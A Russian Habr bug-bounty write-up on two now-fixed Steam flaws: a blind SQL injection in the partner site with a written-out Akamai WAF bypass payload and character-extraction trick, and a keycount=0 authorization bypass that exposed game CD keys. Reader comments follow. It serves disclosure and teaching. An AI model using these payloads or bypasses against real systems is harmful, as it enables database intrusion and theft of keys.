Как я взломал Steam. Дважды +211



Привет, Хабр! Сегодня я расcкажу за что же Valve заплатила наибольшие баунти за историю их программы по вознаграждению за уязвимости. Добро пожаловать под кат!



1. SQL Injection


Сервис partner.steampowered.com предназначен для получения финансовой информации партнеров Steam. На странице отчётов о продажах рисуется график с кнопками, которые меняют период отображения статистики. Вот они в зелёненьком прямоугольнике:



Запрос загрузки статистики выглядит вот так:


где «UA» — это код страны.

Ну что ж, пришло время кавычек!
Давайте пробуем «UA'»:



Статистика НЕ вернулась, чего и следовало ожидать.

Теперь «UA''»:



Статистика снова вернулась и это похоже на инъекцию!

Почему?
Допустим что инструкция к базе данных выглядит таким образом:

SELECT * FROM countries WHERE country_code = `UA`;

Если отправить UA’, то инструкция к базе данных будет:

SELECT * FROM countries WHERE country_code = `UA``; 

Заметили лишнюю кавычку? А это значит, что инструкция невалидна.
Соответсвенно синтаксису SQL — запрос ниже вполне валиден (лишних кавычек нет):

SELECT * FROM countries WHERE country_code = `UA```;

Обратите внимание, мы имеем дело с массивом countryFilter[]. Я предположил, что если в запросе продублировать параметр countryFilter[] несколько раз, то все значения, которые мы отправим, будут объединены в SQL запросе таким образом:

'value1', 'value2', 'value3'

Проверяем и убеждаемся:



Фактически, мы запросили у БД статистику трёх стран:

`UA`, `,` ,`RU`

Синтаксис верный — статистика вернулась :)

Обход Web Application Firewall

Сервера Steam прячутся за Akamai WAF. Данное безобразие вставляет палки в колёса хорошим (и не очень) хакерам. Однако, мне удалось одолеть его благодаря объединению значений массива в один запрос (то что я объяснил выше) и комментированию. Для начала убедимся в наличии последнего:

?countryFilter[]=UA`/*&countryFilter[]=*/,`RU

Запрос валиден, значит в нашем ассортименте есть комментарии.
У нас было несколько вариантов синтаксиса, локальные базы для тестирования пэйлоадов, символы комментариев и бесконечное множество кавычек всех кодировок, а также самописные скрипты на пайтоне, документация по всем базам данных, инструкции по обходу файрволов, википедия и античат. Не то чтобы это был необходимый запас для раскрутки инъекции, но раз уж начал ломать базу данных, то сложно остановиться...
WAF блокирует запрос, когда встречает в нём функцию. Вы знали, что DB_NAME/**/() — вполне валидный вызов функции? Файрвол тоже знает и блокирует. Но, благодаря этой фиче, мы можем разделить вызов функции на два параметра!

?countryFilter[]=UA’,DB_NAME/*&countryFilter[]=*/(),’RU

Мы отправили заспрос с DB_NAME/*всёчтоугодно*/() — WAF ничего не понял, а вот база данных успешно обработала такую инструкцию.

Получение значений из базы данных

Итак, пример получения длины значения DB_NAME():

https://partner.steampowered.com/report_xml.php?query=QuerySteamHistory&countryFilter[]=',(SELECT/*&countryFilter[]=*/CASE/**/WHEN/*&countryFilter[]=*/(len(DB_NAME/*&countryFilter[]=*/())/*&countryFilter[]=*/=1)/**/THEN/**/'UA'/**/ELSE/*&countryFilter[]=*/'qwerty'/**/END),'

По-SQLному:

SELECT CASE WHEN (len(DB_NAME())= 1) THEN 'UA' ELSE 'qwerty' END

Ну и по-человечески:

Если длина DB_NAME() равна "1", то результат  “UA”, иначе результат “qwerty”.

Это значит, что если сравнение истинно, то в ответ получим статистику для страны «UA». Не сложно догадаться, что перебирая значения от 1 до бесконечности, мы рано или поздно найдём верное.

Таким же способом можно перебирать текстовые значения:

Если первый символ  DB_NAME() равен “a”, то "UA", иначе "qwerty". 

Обычно для получения N-ого символа используют функцию «substring», но WAF упорно её блокировал. Тут на помощь пришла комбинация:

right(left(system_user,N),1)

Как это работает? Получаем N символов значения system_user из которых забираем последний.
Представим, что system_user = “steam”. Вот так будет выглядеть получение третьего символа:

left(system_user,3) = ste
right(“ste”,1) = e

С помощью простого скрипта этот процесс был автоматизирован и я получил hostname, system_user, version и названия всех БД. Этой информации более чем достаточно (последнее даже лишнее, но было интересно) для демонстрации критичности.

Через 5 часов уязвимость была исправленна, однако статус triaged (принята) ей выставили через 8 часов и, чёрт возьми, для меня это были очень сложные 3 часа за которые мой мозг успел пережить стадии от отрицания до принятия.

Пояснение паранойи
Так как уязвимость не обозначили принятой, я полгал что очередь до моего репорта ещё не дошла. Но баг то исправили, а значит его могли зарепортить раньше меня.

2. Получение всех ключей от любой игры


В интерфейсе партнера Steam существует функциональность генерации ключей к играм.
Скачать сгенерированный набор ключей можно с помощью запроса:

https://partner.steamgames.com/partnercdkeys/assignkeys/

&sessionid=xxxxxxxxxxxxx&keyid=123456&sourceAccount=xxxxxxxxx&appid=xxxxxx&keycount=1&generateButton=Download

В этом запросе параметр keyid – id набора ключей, а keycount – количество ключей, которое необходимо получить из данного набора.

Конечно же, руки мгновенно потянулись вбивать разные keyid, но в ответ меня ждала ошибка: «Couldn`t generate CD keys: No assignment for user.». Оказалось, не всё так просто, и Steam проверял принадлежит ли мне запрошенный набор ключей. Как же я обошёл данную проверку? Внимание…

keycount=0

Сгенерировался файл с 36,000 ключей от игры Portal 2. Вау.
Только в одном наборе оказалось такое количество ключей. А всего наборов на данный момент более 430,000. Таким образом, перебирая значения keyid я потенциальный злоумышленник мог скачать все ключи, когда-либо сгенерированные разработчиками игр Steam.

Выводы


  • Дорогостоящие WAF системы от топовых компаний далеко не гарантия безопасности ваших веб-приложений.
  • Если вы охотник за багами, то старайтесь проникнуть как можно глубже. Чем меньше пользователей имеют доступ к интерфейсу, тем больше вероятности найти в этом интерфейсе уязвимость.
  • Разработчики и владельцы бизнеса, абсолютно безопасных приложений нет! Но вы держитесь. Хорошего вам настроения!

А если серьезно
Делайте пентесты, платите за уязвимости, думайте стратегически.

Вы можете помочь и перевести немного средств на развитие сайта

Теги:



Комментарии (47):

  1. slavait
    /#19179789 / -3

    У такой крупной корпорации с мешком денег нет специалистов способных оформить работу с базой без таких дыр?
    С такой проектировкой вполне себе возможно ожидать подобные проблемы в других местах их сервиса, вопрос в том когда методом тыка ткнем куда надо. А если не методом тыка, а подумать… То сколько дыр найдем?

    • Popadanec
      /#19179861 / +5

      Дыры есть у всех. Просто чтобы их найти все, нужен нетрадиционный подход. Кто то выплачивает вознаграждение, кто то прячет голову в песок, а кто то грозит судом.

      • KoToSveen
        /#19181191

        кто то прячет голову в песок, а кто то грозит судом.
        и правда, некоторые используют
        нетрадиционный подход

        • Popadanec
          /#19181883

          Была подобная некрасивая история с каким то нашим банком. Косяк долго не закрывали и чел сказал СБ банка что расскажет обществу. Ну а те не долго думали. Деталей к сожалению память не сохранила. В поиске уже не ищется(видимо выпилили).

          • scruff
            /#19182071

            Очень хочется верить, что выпилили не чела.

            • Popadanec
              /#19182481

              Как ниже подсказали, это был все же сбербанк(в чем я не был до конца уверен). А чел тот писал по ситуации на форумах, по моему даже на банки.ру. Но что то я его сообщений больше не вижу.

          • click0
            /#19184533

            ПриватБанк. Этого чела довольно долго чморили, вплоть до навешивания уголовки.

      • Kwisatz
        /#19181349

        Конкатенация вместо параметризованных запросов? В 2018? Это не дыры…

        • aPiks
          /#19182495

          Код писали еще в 2012, когда такого не было.
          Вы ни разу не сталкивались в работе с древним кодом что-ли?

          • Melkij
            /#19182799

            Это где это аж в 2012 не было prepared stmt?

            • kalininmr
              /#19184757

              он и сейчас не во всех либах используется. между прочим

              • Kwisatz
                /#19184807

                А если еще с persistent connection то в малом их числе.

                • kalininmr
                  /#19185291

                  я парочку видал где жестко всегда с параметрами(ну никто конечно не мешает обойти)

            • aPiks
              /#19186075

              В каком-то древнем фреймворке — вполне может быть.

          • ad1Dima
            /#19182841

            Код писали еще в 2012, когда такого не было.

            Если этого не было в 2012, то как я это мог изучать в середине 00х…

          • Kwisatz
            /#19184017

            Сталкивался, году эдак в 99ом… А если серьезно то в любой книжке еще лет 20 назад было написано, что данные должны быть отделены от запросов.

      • pronvit
        /#19182077

        Справедливости ради, даже джуниоры знать, что делать, чтобы не допускать таких тупых инъекций. Так что да, это позор, а не то, для нахождения чего нужен «нетрадиционный подход».

      • stul5tul
        /#19182653

        Кто то выплачивает вознаграждение, кто то прячет голову в песок, а кто то грозит судом.

        Был в одной знакомой фирме проект — не было никакой программы вознаграждения.
        Написал некто, попросил денег за уязвимости. Ему вообще не ответили.
        Затем система сломалась (наверное он сломал).
        Просто заплатили мне (не ему), чтобы я поставил новую обновленную (без уязвимостей) версию системы.

        Искать уязвимости и на этом зарабатывать — не так уж и романтично.

    • Suvitruf
      /#19179873

      У Valve очень много старого легаси кода, который написан много лет назад, когда компания ещё не была такой большой. В то время они тесты вообще не писали.

      • kalininmr
        /#19185425

        а тестами такие штуки не больно таки и найдешь.
        только ревью, пожалуй, поможет

  2. Renaissance
    /#19179809 / +1

    Круто, что Valve начали платить за найденные уязвимости. Всего с лет пять назад они тикеты с сообщениями об уязвимостях просто молча закрывали, даже без спасибо.

    • Popadanec
      /#19179865

      Видимо дошло чем это грозит. Особенно на фоне последних крупных сливов.

  3. Igor_Sib
    /#19180073

    Не знаете, а у Сбербанка есть такая программа — платить за найденные уязвимости? Я нашел в Сбербанк Онлайн потенциальную уязвимость.

    • pyrk2142
      /#19180235

      Нет, более того, у них очень своеобразный подход к безопасности: возможность получения доступа к информации о балансе карты и списку операций при некоторых условиях (крайне слабая авторизация) они считают нормальной.

      • RussDragon
        /#19180415 / +2

        Хорошо, если не обвинят тебя во взломе и не попытаются посадить.

        • Popadanec
          /#19180599 / +1

          Причем что то такое мелькало в новостях. Не помню конкретно ли со сбером или с другим российским(представительством) банком.

          • Quarc
            /#19181165

            Именно со Сбером и было, самый невменяемый банк.

            • Igor_Sib
              /#19181209

              Ясно, спасибо за предупреждение.

  4. Murimonai
    /#19180645 / +2

    Классная статья. Короткая и захватывающая.
    Мы так-то на работе тоже Akamai WAF используем, и до сих пор я особо не задавался вопросами «можно ли его обойти?» и «насколько он эффективен вообще?».
    Было познавательно.

  5. altman
    /#19181365

    Мы отправили заспрос с DB_NAME/всёчтоугодно/() — WAF ничего не понял — можно репортить еще и в WAF?

  6. nerlihmax
    /#19181467 / -4

    когда-либо сгенерированные разработчиками игор Steam.
    Не
    игор
    , а игр

    • aleaksah
      /#19183415

      когда-либо сгенерированные разработчиками игор Steam.

      когда-либо сгенерированные разработчиками Игор, Steam

  7. McDermott
    /#19181607

    WAF блокирует запрос, когда встречает в нём функцию. Вы знали, что DB_NAME/**/() — вполне валидный вызов функции? Файрвол тоже знает и блокирует. Но, благодаря этой фиче, мы можем разделить вызов функции на два параметра!

    Не совсем понял. Если WAF блокирует запрос, в котором встречается DB_NAME/**/(), то почему он не заблокировал countryFilter[]=UA’,DB_NAME/*&countryFilter[]=*/(),’RU?

    • TimsTims
      /#19181809

      потому-что этот запрос был раздлен по разным никак не связанным параметрам как мозайка. Логика её обработки лежит все-же на бэкенде.

    • Seryojik
      /#19181893

      если бы это был один параметр countryFilter=UA’,DB_NAME/*все что угодно*/(),’RU, то он бы заблокировал. Но в данном случае он видит два отдельных параметра: countryFilter[]=UA’,DB_NAME/* И countryFilter[]=*/(),’RU. И ни в одном из параметров он не видит вызова функции

  8. scruff
    /#19182141

    Фокус с кавычкой так и не понял. Как количество кавычек может влиять на исход дела? MySQL вообще капризная к синтаксису штука, кавычку/скобку не там поставил и запрос тупо вылетает по синтаксической ошибке.

  9. Anshi85
    /#19182895

    Спасибо автору, только что сгенерировал себе 100500 тысяч ключей

    • ad1Dima
      /#19182963

      через закрытую уязвимость?

      • 8street
        /#19183045

        А вот интересно, гипотетически, valve заметит генерацию такого количества ключей или будет все валидно? Так что не ясно является ли эта уязвимость настолько критической (но то что она желанная — это до), если аккаунт потом всё равно забанят.

        • STFBEE
          /#19183073

          Как я понял, там таки идет не генерация, а запрос уже выданных разработчику.

        • moskowsky
          /#19183107

          Уязвимость была в функциональности скачивания ключей, а не генерации. Какое-то количество ключей уже продано конечным покупателям, какое-то количество продаётся прямо сейчас на легальных торговых площадках. Так что заблокировать все ключи или забанить аккаунты — это большой ущерб как для Valve, так и для партнеров.

  10. bro-dev0
    /#19184477

    Я не совсем понимаю как такие уязвимости вообще появляются, за всё время своей коммерческой практики я не разу не писал sql запросы вручную, всегда использую драйвера к базе в которых уже есть защита от подобного, последний раз писал сам только в школе на продвинутых курсах информатики.